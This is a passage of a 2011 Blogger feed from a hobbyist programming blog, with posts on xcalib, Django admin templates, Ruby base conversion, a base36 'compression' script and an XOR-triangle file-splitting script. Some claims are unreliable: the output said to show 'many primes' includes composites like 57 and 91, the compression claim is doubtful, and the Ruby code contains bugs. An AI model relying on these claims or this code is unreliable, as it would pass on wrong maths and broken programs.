src='http://2.bp.blogspot.com/-A3rs6jgaxuA/Tx6NxDzBFsI/AAAAAAAAAE4/JavWeUpK4sU/s220/suchindrac.jpeg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4776672193816865559.post-347722719959410587</id><published>2011-03-08T20:06:00.000-08:00</published><updated>2011-03-08T20:06:43.886-08:00</updated><title type='text'>Inverting the colours of your desktop</title><content type='html'>As of now under the 3d compositors category, compiz and Xgl provide the invert desktop option. However, since I have an ATI card, and installation of the ATI driver fails many times, I needed a different solution. Fortunately, there was a forum, where I found that a tool called &lt;a href="http://xcalib.sourceforge.net/README.html"&gt;xcalib&lt;/a&gt; which can invert the desktop colours&lt;br /&gt;
&lt;br /&gt;
Installed xcalib using:&lt;br /&gt;
&lt;br /&gt;
&lt;pre name="code" class="Cpp"&gt;
aptitude install xcalib

&lt;/pre&gt;&lt;br /&gt;
Invoked xcalib as:&lt;br /&gt;
&lt;br /&gt;
&lt;pre name="code" class="Cpp"&gt;
xcalib -invert -alter

&lt;/pre&gt;&lt;br /&gt;
and bingo I have the same inverted desktop that compiz gave me&lt;br /&gt;
&lt;br /&gt;
So, if you just need to invert your desktop and don't have the card to install compiz or have some problems installing the drivers of the card, just use xcalib&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4776672193816865559-347722719959410587?l=thekissinglink.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://thekissinglink.blogspot.com/feeds/347722719959410587/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://thekissinglink.blogspot.com/2011/03/inverting-colours-of-your-desktop.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4776672193816865559/posts/default/347722719959410587'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4776672193816865559/posts/default/347722719959410587'/><link rel='alternate' type='text/html' href='http://thekissinglink.blogspot.com/2011/03/inverting-colours-of-your-desktop.html' title='Inverting the colours of your desktop'/><author><name>Suchindra Chandrahas</name><uri>http://www.blogger.com/profile/01390824528107672381</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/-A3rs6jgaxuA/Tx6NxDzBFsI/AAAAAAAAAE4/JavWeUpK4sU/s220/suchindrac.jpeg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4776672193816865559.post-7600714796420868792</id><published>2011-03-07T06:06:00.000-08:00</published><updated>2011-03-07T06:06:04.104-08:00</updated><title type='text'>My favourite games - copter game and ksokoban</title><content type='html'>Both are addictive games&lt;br /&gt;
&lt;br /&gt;
&lt;a href="http://www.coptergame.net/"&gt;copter game&lt;/a&gt; is reflex based&lt;br /&gt;
&lt;br /&gt;
&lt;a href="http://hem.passagen.se/awl/ksokoban/"&gt;ksokoban&lt;/a&gt; is a puzzle game&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4776672193816865559-7600714796420868792?l=thekissinglink.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://thekissinglink.blogspot.com/feeds/7600714796420868792/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://thekissinglink.blogspot.com/2011/03/my-favourite-games-copter-game-and.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4776672193816865559/posts/default/7600714796420868792'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4776672193816865559/posts/default/7600714796420868792'/><link rel='alternate' type='text/html' href='http://thekissinglink.blogspot.com/2011/03/my-favourite-games-copter-game-and.html' title='My favourite games - copter game and ksokoban'/><author><name>Suchindra Chandrahas</name><uri>http://www.blogger.com/profile/01390824528107672381</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/-A3rs6jgaxuA/Tx6NxDzBFsI/AAAAAAAAAE4/JavWeUpK4sU/s220/suchindrac.jpeg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4776672193816865559.post-2511992257959923149</id><published>2011-03-04T03:16:00.000-08:00</published><updated>2011-03-04T03:16:57.195-08:00</updated><title type='text'>Simple way to obtain some prime numbers</title><content type='html'>Was analyzing the results of some functions on a sequence of numbers and found that the following function when run sequentially on a list of even numbers from 1 to 50&lt;br /&gt;
&lt;br /&gt;
Noticed that running x * x - x * y + y * y on a sequence of numbers between 1 to 50 results in many prime numbers as response:&lt;br /&gt;
&lt;br /&gt;
&lt;pre name="code" class="Cpp"&gt;
bash-4.0$ cat prime.py
def func(x, y):
 return x * x - x * y + y * y

for iter in range(1, 50, 2):
 print func(iter, iter + 1)
bash-4.0$ python prime.py
3
13
31
57
91
133
183
241
307
381
463
553
651
757
871
993
1123
1261
1407
1561
1723
1893
2071
2257
2451
bash-4.0$ 

&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4776672193816865559-2511992257959923149?l=thekissinglink.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://thekissinglink.blogspot.com/feeds/2511992257959923149/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://thekissinglink.blogspot.com/2011/03/simple-way-to-obtain-some-prime-numbers.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4776672193816865559/posts/default/2511992257959923149'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4776672193816865559/posts/default/2511992257959923149'/><link rel='alternate' type='text/html' href='http://thekissinglink.blogspot.com/2011/03/simple-way-to-obtain-some-prime-numbers.html' title='Simple way to obtain some prime numbers'/><author><name>Suchindra Chandrahas</name><uri>http://www.blogger.com/profile/01390824528107672381</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/-A3rs6jgaxuA/Tx6NxDzBFsI/AAAAAAAAAE4/JavWeUpK4sU/s220/suchindrac.jpeg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4776672193816865559.post-2088770941103134218</id><published>2011-03-03T04:14:00.000-08:00</published><updated>2011-03-03T04:14:14.478-08:00</updated><title type='text'>Changing the way fieldsets are rendered in django</title><content type='html'>A client wanted a specific requirement of having extra custom section headings added just before rendering the fieldsets in input form in django. After some browsing, found that we can actually customize the input form completely. Sharing the procedure below:&lt;br /&gt;
&lt;br /&gt;
1. Edit settings.py and enter the following:&lt;br /&gt;
&lt;br /&gt;
&lt;pre name="code" class="Cpp"&gt;
TEMPLATE_DIRS = (
    '/path/to/your/django/project/templates/folder'
    # Example: /home/myproject/templates
)

&lt;/pre&gt;&lt;br /&gt;
2. Make a folder structure below the folder mentioned above, as given below:&lt;br /&gt;
&lt;br /&gt;
&lt;pre name="code" class="Cpp"&gt;
# ls -lR templates
templates:
total 8
drwxr-xr-x 3 root root 4096 2011-03-03 17:19 admin

templates/admin:
total 16
-rw-r--r-- 1 root root 3332 2011-03-03 15:40 base.html
-rw-r--r-- 1 root root  283 2011-03-03 15:41 base_site.html
-rw-r--r-- 1 root root 2697 2011-03-03 13:28 change_form.html
drwxr-xr-x 2 root root 4096 2011-03-03 17:25 includes

templates/admin/includes:
total 4
-rw-r--r-- 1 root root 943 2011-03-03 13:57 fieldset.html

&lt;/pre&gt;&lt;br /&gt;
3. Copy paste the files from contrib admin to your templates folder as follows:&lt;br /&gt;
&lt;br /&gt;
&lt;pre name="code" class="Cpp"&gt;
cp /usr/share/pyshared/django/contrib/admin/templates/admin/base*html /path/to/django/templates/admin/

&lt;/pre&gt;&lt;br /&gt;
NOTE: The above step is not needed if you don't like to change the main admin page &lt;br /&gt;
&lt;br /&gt;
4. Copy paste the fieldset.html page from includes folder to your project's django templates folder as follows:&lt;br /&gt;
&lt;br /&gt;
&lt;pre name="code" class="Cpp"&gt;
cp /usr/share/pyshared/django/contrib/admin/templates/admin/includes/fieldset.html /path/to/project/templates/admin/includes/fieldset.html    

&lt;/pre&gt;&lt;br /&gt;
5. Let us consider an example where you want to provide multiple fieldnames to render in fieldset.html. And say you want to print the names in order before considering the fields. The following is what you would consider:&lt;br /&gt;
&lt;br /&gt;
a. Edit fieldsets.html and make it look like something like below:&lt;br /&gt;
&lt;br /&gt;
&lt;pre name="code" class="Cpp"&gt;
&lt;fieldset class="module aligned {{ fieldset.classes }}"&gt;  {% if fieldset.name %}
    {% for name in fieldset.name %}
      &lt;h2&gt;{{ name }}&lt;/h2&gt;    {% endfor %}
  {% endif %}

&lt;/pre&gt;&lt;br /&gt;
b. Edit your Admin view to include the following:&lt;br /&gt;
&lt;br /&gt;
&lt;pre name="code" class="Cpp"&gt;
class myOwnView(admin.ModelAdmin):
    fieldNameList = ['Details', 'Category1']
    fieldset1 = (
        (fieldNameList, {
             'classes': classes,
             'fields': ('string1', 'string2', 'string3',)
        })
    )

    fieldsets = (fieldset1)


admin.site.register(mainView, myOwnView)

&lt;/pre&gt;&lt;br /&gt;
NOTE: The above code describes a python list with two words namely 'Details' and 'Category1' sent to the fieldset.name parameter to be rendered in fieldset.html. The fieldset.html has a for loop which iterates through the names and writes headings in order given&lt;br /&gt;
&lt;br /&gt;
c. Start your django inbuilt webserver:&lt;br /&gt;
&lt;br /&gt;
&lt;pre name="code" class="Cpp"&gt;
python manage.py runserver IP:PORT

&lt;/pre&gt;&lt;br /&gt;
d. Now browse IP:PORT/admin and notice the changes&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4776672193816865559-2088770941103134218?l=thekissinglink.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://thekissinglink.blogspot.com/feeds/2088770941103134218/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://thekissinglink.blogspot.com/2011/03/changing-way-fieldsets-are-rendered-in.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4776672193816865559/posts/default/2088770941103134218'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4776672193816865559/posts/default/2088770941103134218'/><link rel='alternate' type='text/html' href='http://thekissinglink.blogspot.com/2011/03/changing-way-fieldsets-are-rendered-in.html' title='Changing the way fieldsets are rendered in django'/><author><name>Suchindra Chandrahas</name><uri>http://www.blogger.com/profile/01390824528107672381</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/-A3rs6jgaxuA/Tx6NxDzBFsI/AAAAAAAAAE4/JavWeUpK4sU/s220/suchindrac.jpeg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4776672193816865559.post-8656161574677867518</id><published>2011-02-27T07:05:00.000-08:00</published><updated>2011-02-27T07:05:05.094-08:00</updated><title type='text'>A very good website to handle huge numbers</title><content type='html'>&lt;a href="http://bitizer.com/"&gt;http://bitizer.com/&lt;/a&gt; is a website that can help you convert ascii to base36 to decimal and also to hexadecimal&lt;br /&gt;
&lt;br /&gt;
Numbers can be very huge (beyond 128 bits in binary)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4776672193816865559-8656161574677867518?l=thekissinglink.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://thekissinglink.blogspot.com/feeds/8656161574677867518/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://thekissinglink.blogspot.com/2011/02/very-good-website-to-handle-huge.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4776672193816865559/posts/default/8656161574677867518'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4776672193816865559/posts/default/8656161574677867518'/><link rel='alternate' type='text/html' href='http://thekissinglink.blogspot.com/2011/02/very-good-website-to-handle-huge.html' title='A very good website to handle huge numbers'/><author><name>Suchindra Chandrahas</name><uri>http://www.blogger.com/profile/01390824528107672381</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/-A3rs6jgaxuA/Tx6NxDzBFsI/AAAAAAAAAE4/JavWeUpK4sU/s220/suchindrac.jpeg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4776672193816865559.post-3959063155586218873</id><published>2011-02-25T10:19:00.000-08:00</published><updated>2011-02-25T12:14:04.679-08:00</updated><title type='text'>Compressing string by converting it to base36</title><content type='html'>The following is the algorithm used:&lt;br /&gt;
&lt;br /&gt;
a. Take each character in the string and convert the character to its base36 equivalent&lt;br /&gt;
b. You will notice that the base36 equivalent numbers of each character in the string will be lesser than the ascii values of the characters&lt;br /&gt;
c. Now convert the base36 values to binary&lt;br /&gt;
d. Notice that the string length is reduced by &gt;= 50 %&lt;br /&gt;
&lt;br /&gt;
Here is the ruby script for the algorithm above:&lt;br /&gt;
&lt;br /&gt;
&lt;pre name="code" class="Cpp"&gt;def strToBase36List(strng)

def strToBase36List(strng)
        base36List = []
        for c in strng.split(//)
         base36List &lt;&lt; c.to_i(36)
        end
        return base36List
end

def zerofill(bString, zvalue, direction)
        if direction == 'left'
                return bString.rjust(zvalue, '0')
        else
                return bString.ljust(zvalue, '0')
        end
end


def listToBitStream(lst)
        bitStream = ''
        lst.each { |iter|
                bitStream += iter.to_s(2)
        }
        return bitStream
end

def findAsciiLen(strng)
        len = 0
        for c in strng.split(//)
                len += zerofill(c[0].to_s(2), 8, 'left').length
        end
        return len
end

def bitStreamToAscValList(bitstream)
        ascList = []
        lenStream = bitstream.length
        if lenStream &lt; 8
                bitstream = zerofill(bitstream, 8)
                ascList &lt;&lt; bitstream.to_i(2)
        end
        if lenStream &gt;= 8 and lenStream % 8 != 0
                bitstream = zerofill(bitstream, lenStream + 8 - (lenStream % 8) , 'right')        
        end
        (0..lenStream).step(8) do |x|
                ascList &lt;&lt; bitstream[x..x + 7].to_i(2)
        end
        return ascList
end

def reduceLen(strng)
        strngList = []
        for c in strng.split(//)
                strngList &lt;&lt; c[0]
        end
        stream = listToBitStream(strngList)
        origLen = findAsciiLen(strng)
        b36stream = strToBase36List(strng)
        stream1 = listToBitStream(b36stream)
        reducedLen = stream1.length
        stream1List = bitStreamToAscValList(stream1)
        strng2 = ''
        for c in stream1List
                strng2 += c.chr
        end
        return stream, origLen, stream1, reducedLen, strng, strng2, b36stream
end
        
def increaseLen(b36stream)
        sList = []
        for c in b36stream
  sList &lt;&lt; c.to_s(36)
        end
        return sList
end

input = ARGV[0]
stream1, origLen, stream2, reducedLen, strng1, strng2, bstream1 = reduceLen(input)
#print "stream1 = " + stream1 + "\n" + "stream2 = " + stream2 + "\n" + "strng1 = " + strng1 + "\n" + "strng2 = " + strng2 + "\n" + "bstream1 = " + bstream1.to_s + "\n" 
origList = increaseLen(bstream1)
#print origList.to_s.gsub("0", " ") + "\n"
print strng1 + "\n" + strng2
print "\n" + "Percentage reduction in size = " + ((reducedLen.to_f/origLen.to_f) * 100).to_f.to_s + "\n"
&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4776672193816865559-3959063155586218873?l=thekissinglink.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://thekissinglink.blogspot.com/feeds/3959063155586218873/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://thekissinglink.blogspot.com/2011/02/compressing-string-by-converting-it-to.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4776672193816865559/posts/default/3959063155586218873'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4776672193816865559/posts/default/3959063155586218873'/><link rel='alternate' type='text/html' href='http://thekissinglink.blogspot.com/2011/02/compressing-string-by-converting-it-to.html' title='Compressing string by converting it to base36'/><author><name>Suchindra Chandrahas</name><uri>http://www.blogger.com/profile/01390824528107672381</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/-A3rs6jgaxuA/Tx6NxDzBFsI/AAAAAAAAAE4/JavWeUpK4sU/s220/suchindrac.jpeg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4776672193816865559.post-2142046196468425946</id><published>2011-02-25T06:00:00.000-08:00</published><updated>2011-02-25T06:01:15.672-08:00</updated><title type='text'>An idea on emulation</title><content type='html'>Usually emulators read compiled binary kernels in machine language, get them executed and send the results back to virtual machine&lt;br /&gt;
&lt;br /&gt;
The idea is to enhance the emulator to&lt;br /&gt;
&lt;br /&gt;
1. A parser parses a kernel source written in a high level programming language or scripting language such as say ruby&lt;br /&gt;
2. Translate it to machine language code by either mapping to/or building a machine language binary stream based on the input parsed&lt;br /&gt;
3. Send the machine language code down to the real processor&lt;br /&gt;
4. Get it executed by the physical processor&lt;br /&gt;
5. Get the response back to the virtual machine&lt;br /&gt;
&lt;br /&gt;
This would enable writing kernels in scripting languages which provide higher flexibility. The interpretor takes care of parsing and understanding the requirements provided in the scripting language and builds the right machine language binary stream. We can call these kernels __interpreted kernels__. I can imagine something like below:&lt;br /&gt;
&lt;br /&gt;
&lt;pre name="code" class="Cpp"&gt;kernel.vm:
------------------

#!/usr/bin/vm_emulator

import emulator

registers = {}

registers['ds'] = 0x07c0
registers['es'] = 0x07c0
registers['ss'] = 0x8000
registers['sp'] = 0xf000

#
# Real mode part
#
def main():
      realModeObj = emulator.RealMode(org = 0x7c00, registers, boot = 'floppy')

      codeSegmentDetails = [0,0xFFFFF,CS_ACCES,1101b]
      dataSegmentDetails = [0,0xFFFFF,CS_ACCES,1101b]

      realModeObj.setupGDT(codeSegmentDetails, dataSegmentDetails)
      realModeObj.disableInterrupts()
      realModeObj.loadGDT()
      realModeObj.enterProtectedMode()

      protModeObj = emulator.protectedMode()

      protModeObj.initMem()
      protModeObj.initVideo()
      protModeObj.idtInstall()
      protModeObj.isrsInstall()
      protModeObj.keyboardInstall()
      protModeObj.scanPCIBuses()
      protModeObj.enterInfiniteLoop()

&lt;/pre&gt;&lt;br /&gt;
&lt;br /&gt;
The kernel interpretor interprets this source and builds machine language code for each operation mentioned in the kernel and emulates it accordingly&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4776672193816865559-2142046196468425946?l=thekissinglink.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://thekissinglink.blogspot.com/feeds/2142046196468425946/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://thekissinglink.blogspot.com/2011/02/idea-on-emulation.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4776672193816865559/posts/default/2142046196468425946'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4776672193816865559/posts/default/2142046196468425946'/><link rel='alternate' type='text/html' href='http://thekissinglink.blogspot.com/2011/02/idea-on-emulation.html' title='An idea on emulation'/><author><name>Suchindra Chandrahas</name><uri>http://www.blogger.com/profile/01390824528107672381</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/-A3rs6jgaxuA/Tx6NxDzBFsI/AAAAAAAAAE4/JavWeUpK4sU/s220/suchindrac.jpeg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4776672193816865559.post-8129832969182900492</id><published>2011-02-24T21:14:00.001-08:00</published><updated>2011-02-24T21:14:57.699-08:00</updated><title type='text'>manipulation in ruby</title><content type='html'>This is something I like about ruby:&lt;br /&gt;
&lt;br /&gt;
&lt;pre name="code" class="Cpp"&gt;

irb(main):019:0&gt; 30.to_s(2)
=&gt; "11110"
irb(main):020:0&gt; 30.to_s(10)
=&gt; "30"
irb(main):021:0&gt; 30.to_s(16)
=&gt; "1e"

irb(main):027:0&gt; '11110'.to_i(2)
=&gt; 30
irb(main):028:0&gt; '30'.to_i(10)
=&gt; 30
irb(main):029:0&gt; '1e'.to_i(16)
=&gt; 30

&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4776672193816865559-8129832969182900492?l=thekissinglink.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://thekissinglink.blogspot.com/feeds/8129832969182900492/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://thekissinglink.blogspot.com/2011/02/manipulation-in-ruby.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4776672193816865559/posts/default/8129832969182900492'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4776672193816865559/posts/default/8129832969182900492'/><link rel='alternate' type='text/html' href='http://thekissinglink.blogspot.com/2011/02/manipulation-in-ruby.html' title='manipulation in ruby'/><author><name>Suchindra Chandrahas</name><uri>http://www.blogger.com/profile/01390824528107672381</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/-A3rs6jgaxuA/Tx6NxDzBFsI/AAAAAAAAAE4/JavWeUpK4sU/s220/suchindrac.jpeg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4776672193816865559.post-5161453868764128196</id><published>2011-02-24T03:18:00.000-08:00</published><updated>2011-02-24T23:11:55.856-08:00</updated><title type='text'>A good idea implemented in python</title><content type='html'>I worked on this idea for the past few days, and it looks like a meaningful one to me. The history behind this idea goes back to my wish to find out a very good compression algorithm. &lt;br /&gt;
&lt;br /&gt;
With this in mind, I knew what I wanted: A way to derive two unique numbers between 0 and 255 for every number between 0 and 255&lt;br /&gt;
&lt;br /&gt;
The total number of permutations and combinations of two unique numbers between 0 and 255 would be 255 * 255. A subset of this, namely 255 such combinations would be derived and mapped to one number each between 0 and 255&lt;br /&gt;
&lt;br /&gt;
Now let us consider the idea below:&lt;br /&gt;
&lt;br /&gt;
a. Consider a 8 bit number num, where:&lt;br /&gt;
&lt;pre name="code" class="Cpp"&gt;num = 10111011

&lt;/pre&gt;b. Write down the number on a straight line as follows:&lt;br /&gt;
&lt;br /&gt;
&lt;pre name="code" class="Cpp"&gt;1 0 1 1 1 0 1 1
&lt;/pre&gt;c. Next, subtract the second digit from the first, the third digit from the second and so on, using the following truth table:&lt;br /&gt;
&lt;pre name="code" class="Cpp"&gt;1 - 0  = 1
0 - 1  = 1
1 - 1  = 0
0 - 0  = 0
&lt;/pre&gt;You get the following rows:&lt;br /&gt;
&lt;br /&gt;
&lt;pre name="code" class="Cpp"&gt;row
                  |
                  V

          1 0 1 1 1 0 1 1
            1 1 0 0 1 1 0
              0 1 0 1 0 1
                1 1 1 1 1
                  0 0 0 0
 diagonal -&gt;        0 0 0 &lt;- column
                      0 0
                        0

&lt;/pre&gt;
Now, consider the three sides of the above figure, the diagonal, the row and the column and you get the following numbers:
&lt;pre name="code" class="Cpp"&gt;diagonal = 11011000
               row      = 10111011
               column   = 10110000
&lt;/pre&gt;d. When you apply the above calculation to derive the diagonal and column for each number between 0 and 255 placed on the row, you find that you get unique number combinations of diagonal and column for each value of row

            e. The following is a python script which would print all the 255 unique combinations of diagonal and column for 255 values of row:

&lt;pre name="code" class="Cpp"&gt;import sys
from math import *
from sets import Set
import getopt

#
# Truth table:
#         0 0 0
#        0 1 1
#         1 0 1 
#        1 1 0
#

def bin(n):
        bStr = ''
        if n &lt; 0: raise ValueError, "must be a positive integer"
        if n == 0: return '0'
        while n &gt; 0:
                bStr = str(n % 2) + bStr
                n = n &gt;&gt; 1
        return bStr
        
def op(x, y):
        if x == '1' and y == '1':
                return '0'
        if x == '1' and y == '0':
                return '1'
        if x == '0' and y == '1':
                return '1'
        if x == '0' and y == '0':
                return '0'

def usage():
        print "python script.py -n number -s sides"

def log(strng):
        if debug == 1:
                print strng

def display(strng):
        if triangle == 1:
                print strng

#
# Function to return diagonal and column if a row is provided as input
#        
def findAll(num1l):
        num1l_i = int(num1l, 2)
        limit = len(num1l) - 1
        row0 = list(num1l)
        for iter1 in range(1, limit + 1):
                func = "row" + str(iter1) + " = []"
                exec(func)
                for iter2 in range(0, limit - iter1 + 1):
                        lhs =         "row" + str(iter1) + ".append("
                        rhs =         "op(row" + str(iter1 - 1) + "[" + str(iter2) + "], " + \
                                "row" + str(iter1 - 1) + "[" + str(iter2 + 1) +"]))"
                                        
                        func = lhs + rhs
                        exec(func)

        for iter in range(0, limit + 1):
                func = "display( ' ' * " + str(5  + iter * 5) + " + str(row" + str(iter) + "))"
                exec(func)
        
        diagonal = []
        
        for iter in range(0, limit + 1):
                func = "diagonal.append(row" + str(iter)  + "[0])"
                exec(func)
        
        
        column = []
        for iter in range(0, limit + 1):
                func = "column.append(row" + str(iter) + "[len(row" + str(iter) + ") -1])"
                exec(func)
        
        return diagonal, column
        

#
# Main Script
# 

if len(sys.argv) &lt; 2:
        usage()
        sys.exit(1)

try:
        opts, args = getopt.getopt(sys.argv[1:], "htds:n:", ["help", "triangle", "debug", "sides=", "num="])
except getopt.GetoptError, err:
        usage()
        sys.exit(1)

debug = triangle = 0
sides = 1

for o, a in opts:
        if o in ("-h", "--help"):
                usage()
        elif o in ("-s", "--sides"):
                sides = int(a)
        elif o in ("-n", "--num"):
                snum = a
        elif o in ("-d", "--debug"):
                debug = 1
        elif o in ("-t", "--triangle"):
                triangle = 1
        else:
                log("Unhandled exception, exiting")
                sys.exit(1)

while sides &gt; 0:
        num = int(snum, 10)

        bnum = bin(int(num))
        zf = len(bnum)
        diagonal, column = findAll(bnum)
        sdiagonal, scolumn = "".join(diagonal), "".join(column)
        idiagonal, icolumn = int(sdiagonal, 2), int(scolumn, 2)
        log("%s\t%s\t%s" % (snum, str(idiagonal), str(icolumn)))
        snum = str(int("".join(column), 2))
        sides = sides - 1
        
import pyx


&lt;/pre&gt;The output that you get for 16 bits, as follows:

&lt;pre name="code" class="Cpp"&gt;sh-3.2$ cat b.sh
for iter in `seq 0 15`
do
        python pythogoras.py -n $iter -s 1 -d
done
sh-3.2$ bash b.sh
0       0       0
1       1       1
2       3       1
3       2       2
4       7       1
5       6       6
6       5       3
7       4       4
8       15      1
9       14      14
10      12      4
11      13      11
12      10      2
13      11      13
14      9       7
15      8       8

&lt;/pre&gt;Using the above analogy, we can divide each number between 0 and 255 to two unique ascii values derived based on the above algorithm and maintain all the three as lists in python. Now we have three lists, one each for diagonal, row and column respectively

For each ascii value in a file, we can create two files, one which consists of corresponding diagonals, and another one which consists of corresponding columns (say file1.txt and file2.txt)

file1.txt and file2.txt are such that they can be combined to derive file.txt using the mapping derived earlier. This can be used for validation purposes wherein two people will submit one file each, and if and only if the files map to a proper text file file.txt according to the above algorithm, then the two people are having the right files

The script below does just that:

&lt;pre name="code" class="Cpp"&gt;$cat encrypt-and-separate.py
import sys
from math import *
from sets import Set
import getopt

#
# Truth table:
#         0 0 0
#        0 1 1
#         1 0 1 
#        1 1 0
#

def bin(n):
        bStr = ''
        if n &lt; 0: raise ValueError, "must be a positive integer"
        if n == 0: return '0'
        while n &gt; 0:
                bStr = str(n % 2) + bStr
                n = n &gt;&gt; 1
        return bStr
        
def op(x, y):
        if x == '1' and y == '1':
                return '0'
        if x == '1' and y == '0':
                return '1'
        if x == '0' and y == '1':
                return '1'
        if x == '0' and y == '0':
                return '0'

def usage():
        print "python script.py -f file"

def log(strng):
        if debug == 1:
                print strng

def display(strng):
        if triangle == 1:
                print strng

#
# Function to return diagonal and column if a row is provided as input
#        
def findAll(num1l):
        num1l_i = int(num1l, 2)
        limit = len(num1l) - 1
        row0 = list(num1l)
        for iter1 in range(1, limit + 1):
                func = "row" + str(iter1) + " = []"
                exec(func)
                for iter2 in range(0, limit - iter1 + 1):
                        lhs =         "row" + str(iter1) + ".append("
                        rhs =         "op(row" + str(iter1 - 1) + "[" + str(iter2) + "], " + \
                                "row" + str(iter1 - 1) + "[" + str(iter2 + 1) +"]))"
                                        
                        func = lhs + rhs
                        exec(func)

        for iter in range(0, limit + 1):
                func = "display( ' ' * " + str(5  + iter * 5) + " + str(row" + str(iter) + "))"
                exec(func)
        
        diagonal = []
        
        for iter in range(0, limit + 1):
                func = "diagonal.append(row" + str(iter)  + "[0])"
                exec(func)
        
        
        column = []
        for iter in range(0, limit + 1):
                func = "column.append(row" + str(iter) + "[len(row" + str(iter) + ") -1])"
                exec(func)
        
        return diagonal, column
        

#
# Main Script
# 

if len(sys.argv) &lt; 2:
        usage()
        sys.exit(1)

try:
        opts, args = getopt.getopt(sys.argv[1:], "hdf:", ["help", "triangle", "debug", "file=", "num="])
except getopt.GetoptError, err:
        usage()
        sys.exit(1)

debug = triangle = 0

for o, a in opts:
        if o in ("-h", "--help"):
                usage()
        elif o in ("-f", "--file"):
                file = a
        elif o in ("-d", "--debug"):
                debug = 1
        else:
                log("Unhandled exception, exiting")
                sys.exit(1)

fd = open(file, 'r')

content = fd.read()
hexContent = []
for ch in content:
        hexContent.append(ord(ch))

length = len(hexContent)
if length % 10 != 0:
        while (length % 10 != 0):
                hexContent.append(0)
                length = len(hexContent)

copy1 = []
copy2 = []

for iter in hexContent:
        diagonal, column = findAll(bin(iter))
